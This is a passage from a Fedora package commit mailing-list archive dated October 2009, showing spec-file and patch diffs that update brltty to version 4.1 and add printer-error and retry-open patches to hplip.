 for i in -I/usr/lib/jvm/java/include{,/linux}; do
       java_inc="$java_inc $i"
 done
 # there is no curses packages in BuildRequires, so the package builds
 # without them in mock; let's express this decision explicitly
-%configure CPPFLAGS="$java_inc" --without-curses \
+%configure CPPFLAGS="$java_inc" --disable-stripping --without-curses \
   --with-data-directory='${datadir}/${PACKAGE_NAME}' \
   --with-install-root="${RPM_BUILD_ROOT}" --with-braille-driver=-tt
 make %{?_smp_mflags}
 
-for file in $(find . \( -path ./doc -o -path ./Documents \) -prune -o \( -name 'README*' -o -name '*.txt' -o -name '*.html' -o -name '*.sgml' -o -name \*.patch -o \( -path "./Bootdisks/*" -type f -perm +ugo=x \) \) -print)
-do
-   mkdir -p "doc/${file%/*}"
-   cp -rp "${file}" "doc/${file}"
+find . \( -path ./doc -o -path ./Documents \) -prune -o \
+  \( -name 'README*' -o -name '*.txt' -o -name '*.html' -o \
+     -name '*.sgml' -o -name '*.patch' -o \
+     \( -path './Bootdisks/*' -type f -perm +ugo=x \) \) -print |
+while read file; do
+   mkdir -p doc/${file%/*} && cp -rp $file doc/$file || exit 1
 done
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make INSTALL_PROGRAM='$(INSTALL_SCRIPT)' install #install-programs install-help install-tables install-drivers install-manpage
+make %{?_smp_mflags} install
+mv "$RPM_BUILD_ROOT%{_datadir}/brltty/brltty-pm.conf" \
+  doc/Drivers/Braille/Papenmeier/
 install -d -m 755 "${RPM_BUILD_ROOT}%{_sysconfdir}" "$RPM_BUILD_ROOT%{_mandir}/man5"
 install -m 644 Documents/brltty.conf "${RPM_BUILD_ROOT}%{_sysconfdir}"
 echo ".so man1/brltty.1" > $RPM_BUILD_ROOT%{_mandir}/man5/brltty.conf.5
 
+# clean up the manuals:
+rm Documents/Manual-*/*/{*.mk,*.made,Makefile*}
+
 ls ${RPM_BUILD_ROOT}/%{_libdir}/brltty/*.so | \
     grep -v 'libbrlttybxw.so\|libbrlttyxas.so' | \
     sed -e "s|$RPM_BUILD_ROOT||" >libs.filelist
@@ -172,7 +184,7 @@ exit 0
 
 %files -f libs.filelist
 %defattr(-,root,root)
-%config(noreplace) /etc/brltty.conf
+%config(noreplace) %{_sysconfdir}/brltty.conf
 %{_bindir}/brltty
 %{_bindir}/brltty-*
 %{_bindir}/vstp
@@ -180,8 +192,7 @@ exit 0
 %{_datadir}/brltty
 %doc LICENSE-GPL LICENSE-LGPL
 %doc Documents/ChangeLog Documents/TODO
-%doc Documents/Manual-BRLTTY
-%doc Bootdisks/rhmkboot Bootdisks/rhmkroot
+%doc Documents/Manual-BRLTTY/
 %doc doc/*
 %doc %{_mandir}/man[15]/brltty.*
 %doc %{_mandir}/man1/vstp.*
@@ -196,8 +207,7 @@ exit 0
 %defattr(-,root,root)
 %{_bindir}/xbrlapi
 %{_libdir}/libbrlapi.so.*
-%doc Documents/Manual-BrlAPI/English/BrlAPI.sgml Documents/Manual-BrlAPI/English/BrlAPI.txt
-%doc Documents/Manual-BrlAPI/English/BrlAPI*.html
+%doc Documents/Manual-BrlAPI/
 %doc Documents/README.Seika
 %doc %{_mandir}/man1/xbrlapi.*
 
@@ -226,13 +236,23 @@ exit 0
 
 
 %changelog
+* Wed Oct 28 2009 Stepan Kasal <skasal at redhat.com> - 4.1-1
+- new upstream version
+- use --disable-stripping instead of make variable override
+- install the default brltty-pm.conf to docdir only (#526168)
+- remove the duplicate copies of rhmkboot and rhmkroot from docdir
+- patch configure so that the dirs in summary are not garbled:
+  brltty-autoconf-quote.patch
+
 * Tue Oct 20 2009 Stepan Kasal <skasal at redhat.com> - 4.0-2
 - escape rpm macros in the rpm change log
+- add requires to bind subpackages from one build together
 
 * Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 4.0-1
 - new upstream version
-- drop upstreamed patches; ./autogen nut needed anymore
+- drop upstreamed patches; ./autogen not needed anymore
 - pack the xbrlapi server; move its man page to brlapi package
+- add man-page for brltty.conf (#526168)
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.10-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/brltty/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	9 Oct 2009 11:52:48 -0000	1.8
+++ sources	28 Oct 2009 17:26:39 -0000	1.9
@@ -1 +1 @@
-2862727384a1308dbff3031efb85c41e  brltty-4.0.tar.gz
+b3b492240ba33fd3af45a181f5b89e7a  brltty-4.1.tar.gz



From kasal at fedoraproject.org  Wed Oct 28 17:26:39 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed, 28 Oct 2009 17:26:39 +0000 (UTC)
Subject: rpms/brltty/F-12 .cvsignore, 1.7, 1.8 brltty-parallel.patch, 1.1,
	1.2 brltty.spec, 1.35, 1.36 sources, 1.7,
	1.8 brltty-3.9-autoconf.patch, 1.1, NONE brltty-gnusource.patch,
	1.1, NONE
Message-ID: <20091028172639.9B6A111C00E5@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2417/F-12

Modified Files:
	.cvsignore brltty-parallel.patch brltty.spec sources 
Removed Files:
	brltty-3.9-autoconf.patch brltty-gnusource.patch 
Log Message:
sync with devel


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/brltty/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 Sep 2008 15:59:49 -0000	1.7
+++ .cvsignore	28 Oct 2009 17:26:39 -0000	1.8
@@ -1 +1 @@
-brltty-3.10.tar.gz
+brltty-4.1.tar.gz

brltty-parallel.patch:
 Makefile.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: brltty-parallel.patch
===================================================================
RCS file: /cvs/extras/rpms/brltty/F-12/brltty-parallel.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- brltty-parallel.patch	17 Sep 2008 15:40:27 -0000	1.1
+++ brltty-parallel.patch	28 Oct 2009 17:26:39 -0000	1.2
@@ -5,16 +5,14 @@
 	"make brlapi" when parallel make is used.  Recursive make is
 	harmful.
 
-diff -up brltty-3.10/Makefile.in.parallel brltty-3.10/Makefile.in
-diff -up brltty-3.10/Programs/Makefile.in.parallel brltty-3.10/Programs/Makefile.in
---- brltty-3.10/Programs/Makefile.in.parallel	2008-07-17 00:19:08.000000000 +0200
-+++ brltty-3.10/Programs/Makefile.in	2008-09-17 11:24:35.000000000 +0200
-@@ -399,7 +399,7 @@ apitest.$O:
+--- brltty-4.0/Programs/Makefile.in.parallel	2009-10-07 20:48:57.000000000 +0200
++++ brltty-4.0/Programs/Makefile.in	2009-10-07 20:50:03.000000000 +0200
+@@ -428,7 +428,7 @@
  
  ###############################################################################
  
--braille-drivers: txt2hlp
-+braille-drivers: txt2hlp api
+-braille-drivers: txt2hlp$X
++braille-drivers: txt2hlp$X api
  	for driver in $(BRAILLE_EXTERNAL_DRIVER_NAMES); \
  	do (cd $(BLD_TOP)$(BRL_DIR)/$$driver && $(MAKE) braille-driver braille-all) || exit 1; \
  	done


Index: brltty.spec
===================================================================
RCS file: /cvs/extras/rpms/brltty/F-12/brltty.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- brltty.spec	24 Jul 2009 18:25:41 -0000	1.35
+++ brltty.spec	28 Oct 2009 17:26:39 -0000	1.36
@@ -1,5 +1,5 @@
-%define pkg_version 3.10
-%define api_version 0.5.2
+%define pkg_version 4.1
+%define api_version 0.5.4
 
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 %{!?pyver: %define pyver %(%{__python} -c "import sys; v=sys.version_info[:2]; print '%d.%d'%v")}
@@ -9,43 +9,44 @@
 
 Name: brltty
 Version: %{pkg_version}
-Release: 6%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
 URL: http://mielke.cc/brltty/
 Source: http://mielke.cc/brltty/releases/%{name}-%{version}.tar.gz
-Patch2: brltty-gnusource.patch
-Patch3: brltty-3.9-autoconf.patch
 Patch4: brltty-cppflags.patch
 Patch5: brltty-parallel.patch
+Patch6: brltty-autoconf-quote.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 Summary: Braille display driver for Linux/Unix
-BuildRequires: byacc, glibc-kernheaders
-# BuildRequires: ocaml
+BuildRequires: byacc glibc-kernheaders
+BuildRequires: autoconf
+Requires: brlapi = %{api_version}-%{release}
 
 %description
 BRLTTY is a background process (daemon) which provides
 access to the Linux/Unix console (when in text mode)
 for a blind person using a refreshable braille display.
-It drives the braille display,
-and provides complete screen review functionality.
+It drives the braille display and provides complete
+screen review functionality.
 Some speech capability has also been incorporated.
 
 %package xw
-Requires: %{name}
 Summary: XWindow driver for BRLTTY
 Group: System Environment/Daemons
 License: GPLv2+
 BuildRequires: libSM-devel libICE-devel libX11-devel libXaw-devel libXext-devel libXt-devel libXtst-devel
+Requires: %{name} = %{pkg_version}-%{release}
 %description xw
 This package provides the XWindow driver for BRLTTY.
 
 %package at-spi
-Requires: %{name}
 Summary: AtSpi driver for BRLTTY
 Group: System Environment/Daemons
-License: GPLv2+
+# The data files are licensed under LGPLv2+, see the README file.
+License: GPLv2+ and LGPLv2+
 BuildRequires: at-spi-devel
+Requires: %{name} = %{pkg_version}-%{release}
 %description at-spi
 This package provides the AtSpi driver for BRLTTY.
 
@@ -116,35 +117,42 @@ This package provides the Java binding f
 
 %prep
 %setup -q
-%patch2 -p1 -b .gnusource
-%patch3 -p1 -b .autoconf
 %patch4 -p1 -b .cppflags
 %patch5 -p1 -b .parallel
+%patch6 -p1 -b .quote
 
 %build
-./autogen
+# Patch6 changes aclocal.m4:
+autoconf
 for i in -I/usr/lib/jvm/java/include{,/linux}; do
       java_inc="$java_inc $i"
 done
 # there is no curses packages in BuildRequires, so the package builds
 # without them in mock; let's express this decision explicitly
-%configure CPPFLAGS="$java_inc" --without-curses \
+%configure CPPFLAGS="$java_inc" --disable-stripping --without-curses \
+  --with-data-directory='${datadir}/${PACKAGE_NAME}' \
   --with-install-root="${RPM_BUILD_ROOT}" --with-braille-driver=-tt
-cat config.log
-#exit 1
 make %{?_smp_mflags}
 
-for file in $(find . \( -path ./doc -o -path ./Documents \) -prune -o \( -name 'README*' -o -name '*.txt' -o -name '*.html' -o -name '*.sgml' -o -name \*.patch -o \( -path "./Bootdisks/*" -type f -perm +ugo=x \) \) -print)
-do
-   mkdir -p "doc/${file%/*}"
-   cp -rp "${file}" "doc/${file}"
+find . \( -path ./doc -o -path ./Documents \) -prune -o \
+  \( -name 'README*' -o -name '*.txt' -o -name '*.html' -o \
+     -name '*.sgml' -o -name '*.patch' -o \
+     \( -path './Bootdisks/*' -type f -perm +ugo=x \) \) -print |
+while read file; do
+   mkdir -p doc/${file%/*} && cp -rp $file doc/$file || exit 1
 done
 
 %install
 rm -rf $RPM_BUILD_ROOT
-make INSTALL_PROGRAM='$(INSTALL_SCRIPT)' install #install-programs install-help install-tables install-drivers install-manpage
+make %{?_smp_mflags} install
+mv "$RPM_BUILD_ROOT%{_datadir}/brltty/brltty-pm.conf" \
+  doc/Drivers/Braille/Papenmeier/
+install -d -m 755 "${RPM_BUILD_ROOT}%{_sysconfdir}" "$RPM_BUILD_ROOT%{_mandir}/man5"
 install -m 644 Documents/brltty.conf "${RPM_BUILD_ROOT}%{_sysconfdir}"
-rm -f ${RPM_BUILD_ROOT}/usr/bin/xbrlapi # whatever this is, we exclude it for now
+echo ".so man1/brltty.1" > $RPM_BUILD_ROOT%{_mandir}/man5/brltty.conf.5
+
+# clean up the manuals:
+rm Documents/Manual-*/*/{*.mk,*.made,Makefile*}
 
 ls ${RPM_BUILD_ROOT}/%{_libdir}/brltty/*.so | \
     grep -v 'libbrlttybxw.so\|libbrlttyxas.so' | \
@@ -176,17 +184,18 @@ exit 0
 
 %files -f libs.filelist
 %defattr(-,root,root)
-%config(noreplace) /etc/brltty.conf
+%config(noreplace) %{_sysconfdir}/brltty.conf
 %{_bindir}/brltty
 %{_bindir}/brltty-*
 %{_bindir}/vstp
 %dir %{_libdir}/brltty
-/etc/brltty
-%doc COPYING
+%{_datadir}/brltty
+%doc LICENSE-GPL LICENSE-LGPL
 %doc Documents/ChangeLog Documents/TODO
-%doc Bootdisks/rhmkboot Bootdisks/rhmkroot
+%doc Documents/Manual-BRLTTY/
 %doc doc/*
-%doc /usr/share/man/man1/*
+%doc %{_mandir}/man[15]/brltty.*
+%doc %{_mandir}/man1/vstp.*
 
 %files xw
 %{_libdir}/brltty/libbrlttybxw.so
@@ -196,10 +205,11 @@ exit 0
 
 %files -n brlapi
 %defattr(-,root,root)
+%{_bindir}/xbrlapi
 %{_libdir}/libbrlapi.so.*
-%doc Documents/Manual-BrlAPI/English/BrlAPI.sgml Documents/Manual-BrlAPI/English/BrlAPI.txt
-%doc Documents/Manual-BrlAPI/English/BrlAPI*.html
-%doc Documents/README.Gnopernicus
+%doc Documents/Manual-BrlAPI/
+%doc Documents/README.Seika
+%doc %{_mandir}/man1/xbrlapi.*
 
 %files -n brlapi-devel
 %defattr(-,root,root)
@@ -207,7 +217,7 @@ exit 0
 %{_libdir}/libbrlapi.so
 %{_includedir}/brltty
 %{_includedir}/brlapi*.h
-%doc %{_mandir}/man3/*
+%doc %{_mandir}/man3/brlapi_*.3*
 %doc Documents/BrlAPIref/html
 
 %files -n tcl-brlapi
@@ -226,6 +236,24 @@ exit 0
 
 
 %changelog
+* Wed Oct 28 2009 Stepan Kasal <skasal at redhat.com> - 4.1-1
+- new upstream version
+- use --disable-stripping instead of make variable override
+- install the default brltty-pm.conf to docdir only (#526168)
+- remove the duplicate copies of rhmkboot and rhmkroot from docdir
+- patch configure so that the dirs in summary are not garbled:
+  brltty-autoconf-quote.patch
+
+* Tue Oct 20 2009 Stepan Kasal <skasal at redhat.com> - 4.0-2
+- escape rpm macros in the rpm change log
+- add requires to bind subpackages from one build together
+
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 4.0-1
+- new upstream version
+- drop upstreamed patches; ./autogen not needed anymore
+- pack the xbrlapi server; move its man page to brlapi package
+- add man-page for brltty.conf (#526168)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.10-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
@@ -341,7 +369,7 @@ exit 0
 
 * Mon Jul 07 2003 Adrian Havill <havill at redhat.com> 3.2-2
 - changed spec "Copyright" to "License"
-- use %configure macro, %{_libdir} for non-ia32 archs
+- use %%configure macro, %%{_libdir} for non-ia32 archs
 - removed unnecessary set and unset, assumed/default spec headers
 - fixed unpackaged man page, duplicate /bin and /lib entries
 - use plain install vs scripts for non-i386 buildsys


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/brltty/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	17 Sep 2008 15:59:49 -0000	1.7
+++ sources	28 Oct 2009 17:26:39 -0000	1.8
@@ -1 +1 @@
-d52f332a29e00495d166e7f45403fa9d  brltty-3.10.tar.gz
+b3b492240ba33fd3af45a181f5b89e7a  brltty-4.1.tar.gz


--- brltty-3.9-autoconf.patch DELETED ---


--- brltty-gnusource.patch DELETED ---



From twaugh at fedoraproject.org  Wed Oct 28 17:41:08 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 17:41:08 +0000 (UTC)
Subject: rpms/hplip/F-11 hplip-plugin-error.patch, NONE,
	1.1 hplip-retry-open.patch, 1.1, 1.2 hplip.spec, 1.234, 1.235
Message-ID: <20091028174108.B0C8211C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4775

Modified Files:
	hplip-retry-open.patch hplip.spec 
Added Files:
	hplip-plugin-error.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-16
- Set a printer-state-reason when there's a missing required plugin
  (bug #531330).


hplip-plugin-error.patch:
 backend/hp.c     |    2 +-
 hpijs/hpcups.cpp |    1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE hplip-plugin-error.patch ---
diff -up hplip-3.9.8/prnt/backend/hp.c~ hplip-3.9.8/prnt/backend/hp.c
--- hplip-3.9.8/prnt/backend/hp.c~	2009-10-28 17:03:27.435140391 +0000
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-28 17:12:15.709140073 +0000
@@ -575,7 +575,7 @@ static int loop_test(HPMUD_DEVICE dd, HP
    if (first_time)
    {
       first_time = 0;
-      old_state = ("media-empty-error,media-jam-error,"
+      old_state = ("media-empty-error,media-jam-error,hplip.plugin-error,"
 		   "cover-open-error,toner-empty-error,other");
    }
 
diff -up hplip-3.9.8/prnt/hpijs/hpcups.cpp~ hplip-3.9.8/prnt/hpijs/hpcups.cpp
--- hplip-3.9.8/prnt/hpijs/hpcups.cpp~	2009-10-28 17:03:27.390139541 +0000
+++ hplip-3.9.8/prnt/hpijs/hpcups.cpp	2009-10-28 17:11:18.980140742 +0000
@@ -384,6 +384,7 @@ int HPCups::initContext (char **argv)
 	SendDbusMessage (device_uri, printer,
 	                 EVENT_PRINT_FAILED_MISSING_PLUGIN,
 			 argv[2], atoi (argv[1]), argv[3]);
+	fputs ("STATE: +hplip.plugin-error\n", stderr);
 	BUG ("ERROR: unable to set device = %s, err = %d\n", attr->value, err);
 	return 1;
     }

hplip-retry-open.patch:
 hp.c |   20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

Index: hplip-retry-open.patch
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-11/hplip-retry-open.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hplip-retry-open.patch	23 Oct 2009 11:49:39 -0000	1.1
+++ hplip-retry-open.patch	28 Oct 2009 17:41:08 -0000	1.2
@@ -1,12 +1,30 @@
---- hplip-3.9.8/prnt/backend/hp.c~	2009-10-23 11:58:20.775792057 +0100
-+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-23 12:12:18.142792641 +0100
-@@ -724,7 +724,8 @@ int main(int argc, char *argv[])
+diff -up hplip-3.9.8/prnt/backend/hp.c.retry-open hplip-3.9.8/prnt/backend/hp.c
+--- hplip-3.9.8/prnt/backend/hp.c.retry-open	2009-10-27 11:46:00.181457688 +0000
++++ hplip-3.9.8/prnt/backend/hp.c	2009-10-27 11:57:51.527583553 +0000
+@@ -724,11 +724,21 @@ int main(int argc, char *argv[])
                 /* Open hp device. */
                 while ((stat = hpmud_open_device(argv[0], ma.prt_mode, &hd)) != HPMUD_R_OK)
                 {
 -                  if (stat != HPMUD_R_DEVICE_BUSY)
-+                  if (stat != HPMUD_R_DEVICE_BUSY &&
-+		      stat != HPMUD_R_IO_ERROR)
-                   {
-                      BUG("ERROR: cannot open device stat=%d: %s\n", stat, argv[0]);
-                      goto bugout;
+-                  {
+-                     BUG("ERROR: cannot open device stat=%d: %s\n", stat, argv[0]);
+-                     goto bugout;
+-                  }
++		  if (getenv ("CLASS") != NULL)
++		  {
++		     /* If the CLASS environment variable is set we
++		      * need to give other class members a chance in
++		      * case their devices are ready to go.
++		      */
++
++		     BUG("INFO: cannot open device stat=%d: %s\n", stat, argv[0]);
++		     BUG("INFO: queuing on next printer in class...\n");
++
++		     /* Prevent job requeuing too quickly. */
++		     sleep (5);
++
++		     goto bugout;
++		  }
+ 
+                   /* Display user error. */
+                   device_event(argv[0], printer, 5000+stat, argv[2], argv[1], argv[3]);


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-11/hplip.spec,v
retrieving revision 1.234
retrieving revision 1.235
diff -u -p -r1.234 -r1.235
--- hplip.spec	23 Oct 2009 11:49:39 -0000	1.234
+++ hplip.spec	28 Oct 2009 17:41:08 -0000	1.235
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 15%{?dist}
+Release: 16%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -26,6 +26,7 @@ Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
 Patch12: hplip-retry-open.patch
+Patch13: hplip-plugin-error.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -151,6 +152,10 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # Retry when connecting to device fails (bug #528483).
 %patch12 -p1 -b .retry-open
 
+# Set a printer-state-reason when there's a missing required plugin
+# (bug #531330).
+%patch13 -p1 -b .plugin-error
+
 %build
 aclocal
 automake --foreign --add-missing --copy
@@ -368,6 +373,10 @@ fi
 exit 0
 
 %changelog
+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-16
+- Set a printer-state-reason when there's a missing required plugin
+  (bug #531330).
+
 * Fri Oct 23 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-15
 - Retry when connecting to device fails (bug #528483).
 



From twaugh at fedoraproject.org  Wed Oct 28 17:44:25 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 17:44:25 +0000 (UTC)
Subject: rpms/hplip/F-12 hplip-plugin-error.patch, NONE, 1.1 hplip.spec,
	1.239, 1.240
Message-ID: <20091028174425.26B0C11C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5740

Modified Files:
	hplip.spec 
Added Files:
	hplip-plugin-error.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
- Set a printer-state-reason when there's a missing required plugin
  (bug #531330).


hplip-plugin-error.patch:
 backend/hp.c     |    2 +-
 hpijs/hpcups.cpp |    1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE hplip-plugin-error.patch ---
diff -up hplip-3.9.8/prnt/backend/hp.c~ hplip-3.9.8/prnt/backend/hp.c
--- hplip-3.9.8/prnt/backend/hp.c~	2009-10-28 17:03:27.435140391 +0000
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-28 17:12:15.709140073 +0000
@@ -575,7 +575,7 @@ static int loop_test(HPMUD_DEVICE dd, HP
    if (first_time)
    {
       first_time = 0;
-      old_state = ("media-empty-error,media-jam-error,"
+      old_state = ("media-empty-error,media-jam-error,hplip.plugin-error,"
 		   "cover-open-error,toner-empty-error,other");
    }
 
diff -up hplip-3.9.8/prnt/hpijs/hpcups.cpp~ hplip-3.9.8/prnt/hpijs/hpcups.cpp
--- hplip-3.9.8/prnt/hpijs/hpcups.cpp~	2009-10-28 17:03:27.390139541 +0000
+++ hplip-3.9.8/prnt/hpijs/hpcups.cpp	2009-10-28 17:11:18.980140742 +0000
@@ -384,6 +384,7 @@ int HPCups::initContext (char **argv)
 	SendDbusMessage (device_uri, printer,
 	                 EVENT_PRINT_FAILED_MISSING_PLUGIN,
 			 argv[2], atoi (argv[1]), argv[3]);
+	fputs ("STATE: +hplip.plugin-error\n", stderr);
 	BUG ("ERROR: unable to set device = %s, err = %d\n", attr->value, err);
 	return 1;
     }


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-12/hplip.spec,v
retrieving revision 1.239
retrieving revision 1.240
diff -u -p -r1.239 -r1.240
--- hplip.spec	29 Sep 2009 15:34:58 -0000	1.239
+++ hplip.spec	28 Oct 2009 17:44:24 -0000	1.240
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -24,6 +24,7 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
+Patch12: hplip-plugin-error.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -145,6 +146,7 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
+%patch12 -p1 -b .plugin-error
 
 %build
 aclocal
@@ -349,6 +351,10 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
+- Set a printer-state-reason when there's a missing required plugin
+  (bug #531330).
+
 * Tue Sep 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-17
 - Give up trying to print a job to a reconnected device (bug #515481).
 



From twaugh at fedoraproject.org  Wed Oct 28 17:45:29 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 17:45:29 +0000 (UTC)
Subject: rpms/hplip/devel hplip-plugin-error.patch, NONE, 1.1 hplip.spec,
	1.239, 1.240
Message-ID: <20091028174529.1F5A811C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5917

Modified Files:
	hplip.spec 
Added Files:
	hplip-plugin-error.patch 
Log Message:
* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
- Set a printer-state-reason when there's a missing required plugin
  (bug #531330).


hplip-plugin-error.patch:
 backend/hp.c     |    2 +-
 hpijs/hpcups.cpp |    1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE hplip-plugin-error.patch ---
diff -up hplip-3.9.8/prnt/backend/hp.c~ hplip-3.9.8/prnt/backend/hp.c
--- hplip-3.9.8/prnt/backend/hp.c~	2009-10-28 17:03:27.435140391 +0000
+++ hplip-3.9.8/prnt/backend/hp.c	2009-10-28 17:12:15.709140073 +0000
@@ -575,7 +575,7 @@ static int loop_test(HPMUD_DEVICE dd, HP
    if (first_time)
    {
       first_time = 0;
-      old_state = ("media-empty-error,media-jam-error,"
+      old_state = ("media-empty-error,media-jam-error,hplip.plugin-error,"
 		   "cover-open-error,toner-empty-error,other");
    }
 
diff -up hplip-3.9.8/prnt/hpijs/hpcups.cpp~ hplip-3.9.8/prnt/hpijs/hpcups.cpp
--- hplip-3.9.8/prnt/hpijs/hpcups.cpp~	2009-10-28 17:03:27.390139541 +0000
+++ hplip-3.9.8/prnt/hpijs/hpcups.cpp	2009-10-28 17:11:18.980140742 +0000
@@ -384,6 +384,7 @@ int HPCups::initContext (char **argv)
 	SendDbusMessage (device_uri, printer,
 	                 EVENT_PRINT_FAILED_MISSING_PLUGIN,
 			 argv[2], atoi (argv[1]), argv[3]);
+	fputs ("STATE: +hplip.plugin-error\n", stderr);
 	BUG ("ERROR: unable to set device = %s, err = %d\n", attr->value, err);
 	return 1;
     }


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/devel/hplip.spec,v
retrieving revision 1.239
retrieving revision 1.240
diff -u -p -r1.239 -r1.240
--- hplip.spec	29 Sep 2009 15:25:47 -0000	1.239
+++ hplip.spec	28 Oct 2009 17:45:28 -0000	1.240
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 17%{?dist}
+Release: 18%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -24,6 +24,7 @@ Patch8: hplip-non-scripts.patch
 Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
+Patch12: hplip-plugin-error.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -145,6 +146,7 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 
 # Give up trying to print a job to a reconnected device (bug #515481).
 %patch11 -p1 -b .device-reconnected
+%patch12 -p1 -b .plugin-error
 
 %build
 aclocal
@@ -349,6 +351,10 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
+- Set a printer-state-reason when there's a missing required plugin
+  (bug #531330).
+
 * Tue Sep 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-17
 - Give up trying to print a job to a reconnected device (bug #515481).
 



From sergiopr at fedoraproject.org  Wed Oct 28 17:47:01 2009
From: sergiopr at fedoraproject.org (Sergio Pascual)
Date: Wed, 28 Oct 2009 17:47:01 +0000 (UTC)
Subject: rpms/esorex/devel esorex-configure.patch, 1.5, 1.6 esorex.spec, 1.14,
	1.15
Message-ID: <20091028174701.EBDC111C00E5@cvs1.fedora.phx.redhat.com>

Author: sergiopr

Update of /cvs/pkgs/rpms/esorex/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6128

Modified Files:
	esorex-configure.patch esorex.spec 
Log Message:
